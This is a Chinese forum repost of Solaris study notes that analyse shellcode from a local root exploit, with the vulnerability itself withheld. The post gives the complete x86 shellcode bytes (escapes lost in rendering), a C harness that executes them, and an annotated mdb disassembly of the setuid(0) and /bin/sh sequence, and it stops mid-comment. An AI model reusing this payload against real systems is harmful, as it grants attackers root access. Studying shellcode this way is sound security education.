- 论坛徽章:
- 0
|
Solaris学习笔记(2)
作者: BadcoffeeEmail:
blog.oliver@gmail.com
Blog:
[color="#000080"]http://blog.csdn.net/yayong
2005年7月
1. 一段shell code的分析
最近新发现的一个Solaris的安全漏洞可以使一个非特权用户利用一个很简单的攻击程序得到系统的root权限,为了不让用Solaris系统的人遭暗算,具体细节就不说了。毕竟这篇文章不是教别人攻击别人系统的黑客教程:)这里只研究攻击程序里面的一段shell code。
问题:什么是shell code?
要了解shell code,先从缓冲区溢出谈起。
缓冲区溢出是黑客比较常用的攻击手段之一。众所周知,如果向一个有限空间的缓冲区拷贝了过长的字符串,就会覆盖相邻的存储单元。进程的局部变量保存在 stack当中的,一个函数的stack frame相邻的就是调用该函数时保存的返回地址。当发生缓冲区溢出并且覆盖到存储在stack中的函数反回地址,那么当函数执行完毕后就无法正常返回。因为这时返回地址往往是一个无效的地址,在这样的情况下系统一般报告: “core dump”或“segment fault”。如果这种缓冲区溢出经过精心的计算,使得溢出后覆盖到返回地址的那个地址指向我们写的一段机器指令序列,那么这个进程的流程就会被改变,从而由我们来控制。
多数情况下,这段精心设计的指令一般的目的是执行“/bin/sh”,从而得到一个shell,因此这段代码被称为:“shell code”。如果被溢出程序是一个suid root程序,得到的将是一个root shell,这样整个机器就因为缓冲区溢出而被完全控制了。
关于缓冲区溢出,aleph one的
Smashing The Stack For Fun And Profit
做入门教程不错,可以看看。
为方便分析,我们把这段shell code单独拿出来,放到一个非常简单的c程序里研究。
下面是test1.c的源代码:
static char sh[] = "x31xc0xebx09x5ax89x42x01x88x42x06xebx0dxe8xf2xffxffxffx9ax01x01x01x01x07x01xc3x50xb0x17xe8xf0xffxffxffx31xc0x68x2fx73x68x5fx68x2fx62x69x6ex88x44x24x07x89xe3x50x53x8dx0cx24x8dx54x24x04x52x51x53xb0x0bxe8xcbxffxffxff";
int main() {
void (*f)();
f = (void*)sh;
f();
return 0;
}
这里用函数指针指向字符数组sh,sh包含了整段shell code。main函数中通过对一个指向sh的函数指针的调用,从而使shell code得到执行。可以看到,程序运行后,当前的shell由bash变为了sh:
bash-3.00# gcc test1.c -o test1
bash-3.00# ./test1
#
下面我们就反汇编分析这段代码。由于这段shell code在数据段,且不是一个函数定义,因此用mdb反汇编比用dis更直观一些:
# mdb ./test1
> main::dis
main: pushl %ebp
main+1: movl %esp,%ebp ---> 建立main函数的Stack Frame
main+3: subl $0x8,%esp
main+6: andl $0xfffffff0,%esp
main+9: movl $0x0,%eax
main+0xe: addl $0xf,%eax
main+0x11: addl $0xf,%eax
main+0x14: shrl $0x4,%eax
main+0x17: shll $0x4,%eax
main+0x1a: subl %eax,%esp ---> main+3至main+0x1a的作用使main函数的栈对齐
main+0x1c: movl $0x8060a40,-0x4(%ebp) ---> 把数据段的sh的地址赋值给函数指针
main+0x23: movl -0x4(%ebp),%eax
main+0x26: call *%eax ---> 调用shell code
main+0x28: movl $0x0,%eax
main+0x2d: leave
main+0x2e: ret
> 0x8060a40=p ---> 将地址转换为符号
test1`sh ---> 可以看到,该地址就是sh的起始地址
> sh,1a/ai
test1`sh:
test1`sh: xorl %eax,%eax
test1`sh+2: jmp +0xb ---> 1. 向前跳转到地址test1`sh+0xd
test1`sh+4: popl %edx ---> 3. 将lcall指令的地址从栈中弹出到edx
test1`sh+5: movl %eax,0x1(%edx)
test1`sh+8: movb %al,0x6(%edx) ---> 4. test1`sh+5和test1`sh+8将会把lcall指令修改成Solaris的标准的系统调用指令lcall $0x7,$0x0
test1`sh+0xb: jmp +0xf ---> 5. 向前跳转到地址test1`sh+0x1a
test1`sh+0xd: call -0x9 ---> 2. 向后调用到地址test1`sh+4指令,同时下条指令lcall的地址test1`sh+0x12将作为返回地址压栈
test1`sh+0x12: lcall $0x107,$0x1010101 ---> 9. 步骤4中已经将lcall指令修改为lcall $0x7,$0x0,新的lcall的作用是通过调用门进入Solaris内核执行系统调用
test1`sh+0x19: ret ---> 10.从setuid系统调用返回后,再执行返回指令会使xorl指令地址test1`sh+0x22从栈中弹出到eip中,使cpu从xorl处执行
test1`sh+0x1a: pushl %eax ---> 6. 此时eax寄存器的值是0,将0压栈是为构造setuid调用的入口参数,并且其值为0,即root的id
test1`sh+0x1b: movb $0x17,%al ---> 7. 把setuid的系统调用号0x17放入到eax,是Solaris系统调用的要求
test1`sh+0x1d: call -0xb ---> 8. 向后调用地址test1`sh+0x12指令,此时lcall指令已经被修改了(见步骤4),同时将下条xorl指令的地址test1`sh+0x22压栈
test1`sh+0x22: xorl %eax,%eax ---> 11.用xorl指令来给eax寄存器内容清零,常见的快速清零指令
test1`sh+0x24: pushl $0x5f68732f
test1`sh+0x29: pushl $0x6e69622f ---> 12.test1`sh+0x24和test1`sh+0x29将8个字符"/bin/sh_"压入栈中
test1`sh+0x2e: movb %al,0x7(%esp) ---> 13.修改前面压入栈中的第8个字符,改为寄存器al中的值,即0;此时8个字符形成以" |
|